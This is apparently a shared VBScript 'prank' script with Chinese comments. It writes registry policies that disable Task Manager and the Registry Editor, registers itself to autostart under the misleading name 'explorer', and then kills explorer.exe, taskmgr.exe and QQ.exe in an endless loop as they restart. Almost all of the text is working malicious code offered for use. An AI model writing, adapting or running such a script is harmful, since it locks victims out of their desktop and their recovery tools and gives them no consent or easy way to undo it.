On Error Resume Next
Dim w, path, kp, i, WMI, ps, p
Set w = CreateObject( "WScript.Shell" )
path = "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\"
\'禁止任务管理器
kp = path & "DisableTaskMgr"
i = w.RegRead(kp)
If Err.Number Then
i = 0
Err.Clear
End If
If i <> 1 Then w.RegWrite kp, 1, "REG_DWORD"
\'禁止注册表编辑器
kp = path & "DisableRegistryTools"
i = w.RegRead(kp)
If Err.Number Then
i = 0
Err.Clear
End If
If i <> 1 Then w.RegWrite kp, 1, "REG_DWORD"
\'自启动
path = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\explorer"
kp = w.RegRead( path )
If Err.Number Then
kp = ""
Err.Clear
End If
If StrComp(kp, WScript.ScriptFullName, 1) Then w.RegWrite path, WScript.ScriptFullName
\'释放变量
path = ""
kp = ""
Set w = Nothing
Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2")
Set ps = WMI.ExecQuery( "Select * From Win32_Process Where Name = \'explorer.exe\' Or Name = \'taskmgr.exe\' Or Name = \'QQ.exe\'")
For Each p in ps
p.Terminate()
Next
Dim objLatestProcess
Set ps = WMI.ExecNotificationQuery("select * from __instancecreationevent within 1 where TargetInstance isa \'Win32_Process\' And (TargetInstance.Name=\'explorer.exe\' Or TargetInstance.Name=\'taskmgr.exe\' Or TargetInstance.Name=\'QQ.exe\')")
Do
Set p = ps.NextEvent
p.TargetInstance.Terminate()
Loop
上面的整人代码,阻止了\'taskmgr.exe\' 、\'QQ.exe\'和\'explorer.exe\' 的运行